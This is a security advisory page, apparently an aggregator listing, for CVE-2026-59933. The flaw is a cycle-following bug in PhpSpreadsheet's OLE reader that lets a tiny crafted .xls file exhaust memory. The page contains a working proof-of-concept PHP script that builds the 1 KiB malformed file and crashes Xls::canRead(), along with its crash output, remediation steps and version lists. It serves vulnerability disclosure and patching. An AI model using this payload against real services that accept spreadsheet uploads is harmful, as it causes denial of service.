CVE-2026-59933: PHPSpreadsheet: XLS/OLE sector-chain self-loop causes memory exhaustion

Published Jul 23, 2026
·
Updated

Summary

PhpSpreadsheet's OLE reader follows sector chains from attacker-controlled XLS/OLE metadata without detecting cycles or enforcing a maximum chain length. A tiny malformed .xls/OLE file can set the small-block depot sector chain to point back to itself. During normal XLS detection, OLERead::read() appends the same sector data repeatedly until the PHP process exhausts memory.

This is reachable from Reader\Xls::canRead() and therefore from automatic spreadsheet type detection. Applications that accept attacker-controlled spreadsheet uploads can suffer denial of service from a very small file.

Vulnerability details

OLERead::read() loads the input and builds sector chains from attacker-controlled OLE header and allocation-table values:

- src/PhpSpreadsheet/Shared/OLERead.php:82 reads the entire file after validating only the OLE magic. - src/PhpSpreadsheet/Shared/OLERead.php:84-97 reads sector-chain metadata from the file header. - src/PhpSpreadsheet/Shared/OLERead.php:132-146 builds bigBlockChain and then follows the small-block depot chain.

The vulnerable loop is:

php $sbdBlock = $this->sbdStartBlock; $this->smallBlockChain = ''; while ($sbdBlock != -2) { $pos = ($sbdBlock + 1) self::BIGBLOCKSIZE;

$this->smallBlockChain .= substr($this->data, $pos, 4 $bbs); $pos += 4 $bbs;

$sbdBlock = self::getInt4d($this->bigBlockChain, $sbdBlock 4); }

There is no visited-sector set, no maximum iteration count, no EOF bound, and no check that the next sector differs from a previously visited sector. If the allocation table maps sector 0 to sector 0, the loop appends the same sector data forever until memory is exhausted.

The issue is reachable during normal reader detection/loading:

- src/PhpSpreadsheet/Reader/XlsBase.php:153-165 calls OLERead::read() from canRead(). - src/PhpSpreadsheet/Reader/Xls.php:376-383 calls OLERead::read() from loadOLE(). - src/PhpSpreadsheet/IOFactory.php:181-213 calls canRead() while creating a reader for a file, so automatic format detection can trigger the issue.

Similar unbounded sector-chain walks exist later in stream reading:

- src/PhpSpreadsheet/Shared/OLERead.php:175-180 - src/PhpSpreadsheet/Shared/OLERead.php:198-202 - src/PhpSpreadsheet/Shared/OLERead.php:218-222

The proof of concept below confirms the small-block depot chain loop; the same remediation pattern should be applied to all sector-chain walks.

Impact

A 1 KiB file can crash a PHP worker during Xls::canRead() or automatic file-type detection. This can deny service to web applications, queue workers, preview services, or document converters that process untrusted spreadsheet uploads.

The issue occurs before the file is recognized as a valid workbook stream, so even detection/probing paths are affected.

Safe local proof of concept

This proof of concept uses only Docker with --network none; it creates the malformed OLE file inside the container and does not contact external infrastructure.

bash docker run --rm --network none -i \ -v /home/sondt23/Github/CVE/ares/github-repo/PhpSpreadsheet:/app \ -w /app ghcr.io/typo3/core-testing-php82:1.15 sh <<'SH' set -eu php -r ' $data = strrepeat("\0", 1024); $set = function (int $off, string $bytes) use (&$data): void { $data = substrreplace($data, $bytes, $off, strlen($bytes)); }; $set(0, hex2bin("D0CF11E0A1B11AE1")); $set(28, "\xfe\xff"); $set(30, pack("v", 9)); // sector size 512 $set(32, pack("v", 6)); // mini sector size 64 $set(44, pack("l", 1)); // 1 SAT sector $set(48, pack("l", 0)); // directory first sector 0 $set(56, pack("l", 4096)); // mini stream cutoff $set(60, pack("l", 0)); // SSAT first sector 0 $set(64, pack("l", 1)); // one SSAT sector $set(68, pack("l", -2)); // no MSAT extension $set(72, pack("l", 0)); // no extension sectors $set(76, pack("l", 0)); // DIFAT says SAT is sector 0 $set(512, pack("l", 0)); // SAT entry for sector 0 points to itself fileputcontents("/tmp/phpspreadsheet-ole-selfloop.xls", $data); printf("olesize=%d\n", filesize("/tmp/phpspreadsheet-ole-selfloop.xls")); ' php -d memorylimit=64M -d displayerrors=1 -r ' require "/app/vendor/autoload.php"; $r = new PhpOffice\PhpSpreadsheet\Reader\Xls(); vardump($r->canRead("/tmp/phpspreadsheet-ole-selfloop.xls")); ' 2>&1 || true SH

Observed output:

text olesize=1024 PHP Fatal error: Allowed memory size of 67108864 bytes exhausted (tried to allocate 48234528 bytes) in /app/src/PhpSpreadsheet/Shared/OLERead.php on line 143 PHP Stack trace: PHP 1. {main}() Command line code:0 PHP 2. PhpOffice\PhpSpreadsheet\Reader\XlsBase->canRead($filename = '/tmp/phpspreadsheet-ole-selfloop.xls') Command line code:4 PHP 3. PhpOffice\PhpSpreadsheet\Shared\OLERead->read($filename = '/tmp/phpspreadsheet-ole-selfloop.xls') /app/src/PhpSpreadsheet/Reader/XlsBase.php:164

Suggested remediation

- Validate every OLE sector-chain walk with: - a visited-sector set to reject cycles; - maximum chain length based on file size and sector size; - bounds checks before reading from $this->data, $this->bigBlockChain, or $this->smallBlockChain; - rejection of negative sector IDs other than the documented end-of-chain marker. - Replace fatal memory exhaustion with a recoverable Reader\Exception for malformed OLE chains. - Apply the same guarded chain-walk helper to: - small-block depot chain construction; - small-block stream extraction; - big-block stream extraction; - readData(). - Add regression tests with self-looping and out-of-range SAT/SSAT chains.

Other sources

PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. In versions 4.0.0 through 5.8.0, 3.3.0 through 3.10.6, 2.2.0 through 2.4.6, 2.0.0 through 2.1.17, and all releases up to and including 1.30.5, the OLE reader follows sector chains from attacker-controlled XLS/OLE metadata without detecting cycles or enforcing a maximum chain length. A tiny malformed .xls/OLE file can set the small-block depot sector chain to point back to itself. During normal XLS detection, OLERead::read() appends the same sector data repeatedly until the PHP process exhausts memory. This is reachable from Reader\Xls::canRead() and therefore from automatic spreadsheet type detection. Applications that accept attacker-controlled spreadsheet uploads can suffer denial of service from a very small file. This issue has been fixed in versions 5.8.1, 3.10.7, 2.4.7, 2.1.18 and 1.30.6.

— MITRE

PHPSpreadsheet: XLS/OLE sector-chain self-loop causes memory exhaustion

— Packagist

Affected Software

11 affected componentsFixes available
composer/phpoffice/phpspreadsheet<=1.30.5
1.30.6
composer/phpoffice/phpspreadsheet>=2.0.0<=2.1.17
2.1.18
composer/phpoffice/phpspreadsheet>=2.2.0<=2.4.6
2.4.7
composer/phpoffice/phpspreadsheet>=3.3.0<=3.10.6
3.10.7
composer/phpoffice/phpspreadsheet>=4.0.0<=5.8.0
5.8.1
composer/phpoffice/phpspreadsheet<=1.30.5
composer/phpoffice/phpspreadsheet>=2.0.0, <=2.1.17
composer/phpoffice/phpspreadsheet>=2.2.0, <=2.4.6
composer/phpoffice/phpspreadsheet>=3.3.0, <=3.10.6
composer/phpoffice/phpspreadsheet>=4.0.0, <=5.8.0
IBM API Connect<=V10.0.8.0 - V10.0.8.12

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade composer/phpoffice/phpspreadsheet to a version that resolves this vulnerability.

    Fixed in 1.30.6
  2. Upgrade

    Upgrade composer/phpoffice/phpspreadsheet to a version that resolves this vulnerability.

    Fixed in 2.1.18
  3. Upgrade

    Upgrade composer/phpoffice/phpspreadsheet to a version that resolves this vulnerability.

    Fixed in 2.4.7
  4. Upgrade

    Upgrade composer/phpoffice/phpspreadsheet to a version that resolves this vulnerability.

    Fixed in 3.10.7
  5. Upgrade

    Upgrade composer/phpoffice/phpspreadsheet to a version that resolves this vulnerability.

    Fixed in 5.8.1
  6. Upgrade

    Upgrade PhpOffice\PhpSpreadsheet to a version that resolves this vulnerability.

    Fixed in 5.8.1
  7. Upgrade

    Upgrade PhpOffice\PhpSpreadsheet to a version that resolves this vulnerability.

    Fixed in 3.10.7
  8. Upgrade

    Upgrade PhpOffice\PhpSpreadsheet to a version that resolves this vulnerability.

    Fixed in 2.4.7
  9. Upgrade

    Upgrade PhpOffice\PhpSpreadsheet to a version that resolves this vulnerability.

    Fixed in 2.1.18
  10. Upgrade

    Upgrade PhpOffice\PhpSpreadsheet to a version that resolves this vulnerability.

    Fixed in 1.30.6
  11. Configuration

    In OLE sector-chain walking logic, add a visited-sector set to reject cycles (e.g., when sector 0 maps to sector 0 / small-block depot sector chain points back to itself).

    PhpOffice\PhpSpreadsheet\Shared\OLERead.php cycle_detection = enable
  12. Configuration

    Validate every OLE sector-chain walk with readData() and add bounds checks before reading from $this->data, $this->bigBlockChain, or $this->smallBlockChain.

    PhpOffice\PhpSpreadsheet\Shared\OLERead.php bounds_checks = enable
  13. Configuration

    Enforce maximum chain length based on file size and sector size when walking big-block and small-block sector chains.

    PhpOffice\PhpSpreadsheet\Shared\OLERead.php max_chain_length = enforce
  14. Configuration

    Reject negative sector IDs other than the documented end-of-chain marker while following sector-chain metadata.

    PhpOffice\PhpSpreadsheet\Shared\OLERead.php negative_sector_id_validation = reject
  15. Configuration

    Apply the same guarded chain-walk helper used for the small-block depot chain to all OLE chain walks (big-block stream extraction and small-block stream extraction) to prevent unbounded sector-chain traversal during Xls::canRead() / automatic format detection.

    PhpOffice\PhpSpreadsheet\Shared\OLERead.php allocation-table_traversal_guard = apply
  16. Configuration

    Replace fatal memory exhaustion with a recoverable Reader\Exception for malformed OLE chains.

    PhpOffice\PhpSpreadsheet\Shared\OLERead.php malformed_chain_error_handling = recoverable_exception
  17. Operational

    Add regression tests with self-looping and out-of-range SAT/SSAT chains to ensure the guarded chain-walk behavior triggers rejection/exceptions instead of unbounded walks during Reader\Xls::canRead() and Reader\XlsBase::canRead().

Event History

Jul 23, 2026
Advisory Published
via GitHub·03:01 PM
Data Sourced
via GitHub·03:01 PM
DescriptionSeverityWeaknessAffected Software
Data Sourced
via Packagist·03:01 PM
DescriptionSeverityAffected Software
Jul 28, 2026
CVE Published
via MITRE·05:29 PM
Data Sourced
via MITRE·05:29 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·06:17 PM
DescriptionSeverityWeakness
Oct 14, 2026
Data Sourced
via IBM·12:00 AM
DescriptionAffected Software

Parent advisories

This vulnerability appears in the following advisories.

Frequently Asked Questions

1

What is the severity of CVE-2026-59933?

The severity of CVE-2026-59933 is rated high with a score of 7.5.

2

How do I fix CVE-2026-59933?

To fix CVE-2026-59933, update to PhpSpreadsheet version 1.30.6 or later.

3

What is the risk associated with CVE-2026-59933?

CVE-2026-59933 has a risk rating of 43, indicating a significant potential impact.

4

What software is affected by CVE-2026-59933?

CVE-2026-59933 affects the PhpSpreadsheet library maintained by PHPOffice.

5

What type of attack does CVE-2026-59933 facilitate?

CVE-2026-59933 can be exploited through a specially crafted malformed `.xls` or OLE file to create a denial of service condition.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203